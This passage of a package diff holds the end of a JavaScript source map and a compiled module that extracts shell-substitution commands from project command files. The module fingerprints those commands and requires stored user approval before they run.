);\r\n}\r\n"],"mappings":"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","names":[]}
|
|
@@ -0,0 +1,167 @@
|
|
|
1
|
+
import {
|
|
2
|
+
updateWorkspaceTrust
|
|
3
|
+
} from "./chunk-DGMQEI6Y.js";
|
|
4
|
+
|
|
5
|
+
// src/command-approvals.ts
|
|
6
|
+
import { createHash } from "crypto";
|
|
7
|
+
|
|
8
|
+
// src/commands/shell-injection.ts
|
|
9
|
+
var BLOCK_PATTERN = /```!\s*\n([\s\S]*?)```/g;
|
|
10
|
+
var INLINE_PATTERN = /!?`([^`]+)`/g;
|
|
11
|
+
function extractShellInjections(body) {
|
|
12
|
+
const injections = [];
|
|
13
|
+
const outsideBlocks = body.split("");
|
|
14
|
+
for (const match of body.matchAll(BLOCK_PATTERN)) {
|
|
15
|
+
const start = match.index ?? 0;
|
|
16
|
+
const end = start + match[0].length;
|
|
17
|
+
injections.push({ kind: "block", command: match[1].trim(), start, end });
|
|
18
|
+
for (let index = start; index < end; index++) outsideBlocks[index] = " ";
|
|
19
|
+
}
|
|
20
|
+
for (const match of outsideBlocks.join("").matchAll(INLINE_PATTERN)) {
|
|
21
|
+
const inline = match[1];
|
|
22
|
+
if (!match[0].startsWith("!`") && !inline.startsWith("!")) continue;
|
|
23
|
+
const start = match.index ?? 0;
|
|
24
|
+
injections.push({
|
|
25
|
+
kind: "command",
|
|
26
|
+
command: (inline.startsWith("!") ? inline.slice(1) : inline).trim(),
|
|
27
|
+
start,
|
|
28
|
+
end: start + match[0].length
|
|
29
|
+
});
|
|
30
|
+
}
|
|
31
|
+
return injections.sort((left, right) => left.start - right.start);
|
|
32
|
+
}
|
|
33
|
+
function applyShellInjections(body, injections, outputs) {
|
|
34
|
+
let result = "";
|
|
35
|
+
let cursor = 0;
|
|
36
|
+
for (const [index, injection] of injections.entries()) {
|
|
37
|
+
result += body.slice(cursor, injection.start);
|
|
38
|
+
result += outputs[index] ?? "";
|
|
39
|
+
cursor = injection.end;
|
|
40
|
+
}
|
|
41
|
+
return result + body.slice(cursor);
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
// src/command-approvals.ts
|
|
45
|
+
function projectCommandFingerprint(body) {
|
|
46
|
+
const canonical = JSON.stringify(
|
|
47
|
+
extractShellInjections(body).map((injection) => [injection.kind, injection.command])
|
|
48
|
+
);
|
|
49
|
+
return createHash("sha256").update(canonical).digest("hex").slice(0, 16);
|
|
50
|
+
}
|
|
51
|
+
function evaluateProjectCommandApproval(settings, command) {
|
|
52
|
+
if (command.source !== "project") return "not-required";
|
|
53
|
+
if (extractShellInjections(command.body).length === 0) return "not-required";
|
|
54
|
+
const choice = settings.commands?.projectCommands?.[command.name];
|
|
55
|
+
if (!choice) return "unknown";
|
|
56
|
+
if (choice.fingerprint !== projectCommandFingerprint(command.body)) return "unknown";
|
|
57
|
+
return choice.choice;
|
|
58
|
+
}
|
|
59
|
+
function partitionProjectCommands(commands, settings) {
|
|
60
|
+
const partition = { approved: [], pending: [], rejected: [] };
|
|
61
|
+
for (const command of commands) {
|
|
62
|
+
const state = evaluateProjectCommandApproval(settings, command);
|
|
63
|
+
if (state === "approved") partition.approved.push(command);
|
|
64
|
+
else if (state === "rejected") partition.rejected.push(command);
|
|
65
|
+
else if (state === "unknown") partition.pending.push(command);
|
|
66
|
+
}
|
|
67
|
+
return partition;
|
|
68
|
+
}
|
|
69
|
+
var ProjectCommandApprovalError = class extends Error {
|
|
70
|
+
constructor(commandName, fingerprint, state, message) {
|
|
71
|
+
super(message);
|
|
72
|
+
this.commandName = commandName;
|
|
73
|
+
this.fingerprint = fingerprint;
|
|
74
|
+
this.state = state;
|
|
75
|
+
this.name = "ProjectCommandApprovalError";
|
|
76
|
+
}
|
|
77
|
+
commandName;
|
|
78
|
+
fingerprint;
|
|
79
|
+
state;
|
|
80
|
+
};
|
|
81
|
+
var MAX_LISTED_COMMANDS = 5;
|
|
82
|
+
var MAX_COMMAND_CHARS = 160;
|
|
83
|
+
var CONTROL_CHARACTERS = /[\u0000-\u001f\u007f\u0085\u061c\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]+/g;
|
|
84
|
+
function displayable(command) {
|
|
85
|
+
const flattened = command.replace(CONTROL_CHARACTERS, " ").trim();
|
|
86
|
+
return flattened.length > MAX_COMMAND_CHARS ? `${flattened.slice(0, MAX_COMMAND_CHARS)}\u2026` : flattened;
|
|
87
|
+
}
|
|
88
|
+
function displayableCommandName(name) {
|
|
89
|
+
return displayable(name);
|
|
90
|
+
}
|
|
91
|
+
function shellSafeCommandName(name) {
|
|
92
|
+
return /^[A-Za-z0-9][A-Za-z0-9._-]*$/.test(name) ? name : null;
|
|
93
|
+
}
|
|
94
|
+
function describeProjectCommandShell(command) {
|
|
95
|
+
const injections = extractShellInjections(command.body);
|
|
96
|
+
const listed = injections.slice(0, MAX_LISTED_COMMANDS);
|
|
97
|
+
return [
|
|
98
|
+
...listed.map((injection) => `$ ${displayable(injection.command)}`),
|
|
99
|
+
...injections.length > listed.length ? [`\u2026and ${injections.length - listed.length} more \u2014 read the file before approving`] : []
|
|
100
|
+
];
|
|
101
|
+
}
|
|
102
|
+
function describeProjectCommandApproval(command, state) {
|
|
103
|
+
const injections = extractShellInjections(command.body);
|
|
104
|
+
const listed = injections.slice(0, MAX_LISTED_COMMANDS);
|
|
105
|
+
const shown = displayableCommandName(command.name);
|
|
106
|
+
const safeName = shellSafeCommandName(command.name);
|
|
107
|
+
const abbreviated = injections.length > listed.length || listed.some((injection) => displayable(injection.command) !== injection.command);
|
|
108
|
+
return [
|
|
109
|
+
state === "rejected" ? `/${shown} substitutes shell you rejected.` : `/${shown} substitutes shell that has not been approved.`,
|
|
110
|
+
"",
|
|
111
|
+
` .book/commands/${shown}.md runs ${injections.length} shell command${injections.length === 1 ? "" : "s"} to build its prompt.`,
|
|
112
|
+
" That happens before the model sees anything, outside the permission system",
|
|
113
|
+
" and outside the sandbox, so it needs a decision first:",
|
|
114
|
+
"",
|
|
115
|
+
...listed.map((injection) => ` $ ${displayable(injection.command)}`),
|
|
116
|
+
...injections.length > listed.length ? [` \u2026and ${injections.length - listed.length} more`] : [],
|
|
117
|
+
"",
|
|
118
|
+
...safeName ? [
|
|
119
|
+
` Approve with: book trust command ${safeName}`,
|
|
120
|
+
` Refuse it with: book trust command ${safeName} --reject`,
|
|
121
|
+
" Run it from the project, or pass --workspace. Editing what the command runs asks again."
|
|
122
|
+
] : [
|
|
123
|
+
" This command\u2019s file name is not a plain name, so no command to paste is offered:",
|
|
124
|
+
" a name is a filename the repository chose, and pasting one can run what it contains.",
|
|
125
|
+
" Rename the file, or decide it with `book trust command --all-pending`."
|
|
126
|
+
],
|
|
127
|
+
...abbreviated ? [
|
|
128
|
+
` Not shown verbatim (abbreviated, or unsafe characters stripped) \u2014 read`,
|
|
129
|
+
` .book/commands/${shown}.md in full before approving.`
|
|
130
|
+
] : []
|
|
131
|
+
].join("\n");
|
|
132
|
+
}
|
|
133
|
+
function assertProjectCommandApproved(command, settings) {
|
|
134
|
+
const state = evaluateProjectCommandApproval(settings, command);
|
|
135
|
+
if (state === "approved" || state === "not-required") return;
|
|
136
|
+
throw new ProjectCommandApprovalError(
|
|
137
|
+
command.name,
|
|
138
|
+
projectCommandFingerprint(command.body),
|
|
139
|
+
state,
|
|
140
|
+
describeProjectCommandApproval(command, state)
|
|
141
|
+
);
|
|
142
|
+
}
|
|
143
|
+
function persistProjectCommandChoice(workspace, name, fingerprint, choice, options = {}) {
|
|
144
|
+
return updateWorkspaceTrust(
|
|
145
|
+
workspace,
|
|
146
|
+
(trust) => {
|
|
147
|
+
trust.projectCommands[name] = { fingerprint, choice };
|
|
148
|
+
},
|
|
149
|
+
options.trustStorePath
|
|
150
|
+
);
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
export {
|
|
154
|
+
extractShellInjections,
|
|
155
|
+
applyShellInjections,
|
|
156
|
+
